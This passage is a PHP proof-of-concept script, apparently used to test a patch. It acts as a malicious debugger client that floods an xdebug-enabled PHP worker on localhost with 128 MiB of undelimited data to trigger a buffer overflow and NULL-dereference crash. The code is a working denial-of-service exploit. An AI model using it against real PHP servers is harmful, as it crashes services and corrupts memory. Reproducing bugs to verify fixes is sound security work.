buffer unbounded; * once buffer_size + newl + 1 overflows the signed int field * (~ 2 GiB on 64-bit), realloc receives a sign-extended size and * either truncates or returns NULL; the unchecked return is then * passed to memcpy → NULL deref or short-write OOB. * * Post-fix behavior: xdebug closes the connection at the * XDEBUG_DBGP_MAX_PACKET cap (64 MiB by default in the patch). * The PHP worker survives. * * Listen address: 127.0.0.1:9003 (matches xdebug.client_port default). * Edit if your test config uses a different port. */ $port = (int) ($argv[1] ?? 9003); $srv = stream_socket_server("tcp://127.0.0.1:$port", $errno, $errstr); if (!$srv) { fwrite(STDERR, "listen failed on :$port -- $errstr ($errno)\n"); exit(1); } echo "hostile IDE listening on :$port\n"; $conn = @stream_socket_accept($srv, 30); if (!$conn) { fwrite(STDERR, "accept timeout / no connect from victim\n"); exit(2); } echo "victim connected from " . stream_socket_get_name($conn, true) . "\n"; stream_set_timeout($conn, 5); $init = ''; while (($b = fread($conn, 1)) !== '' && $b !== false) { $init .= $b; if ($b === "\0") break; } echo "ate init packet (" . strlen($init) . " bytes)\n"; echo "streaming payload with no NUL delimiter (watch victim memory)...\n"; $chunk = str_repeat('A', 65536); $sent = 0; $start = microtime(true); $cap_probe = 128 * 1024 * 1024; /* go up to 128 MiB; cap is 64 MiB */ while ($sent < $cap_probe) { $n = @fwrite($conn, $chunk); if ($n === false || $n === 0) { echo "fwrite returned $n at sent=" . round($sent / 1048576, 2) . " MiB after " . round(microtime(true) - $start, 2) . "s\n"; break; } $sent += $n; } echo "total sent: " . round($sent / 1048576, 2) . " MiB in " . round(microtime(true) - $start, 2) . "s\n"; fclose($conn); fclose($srv);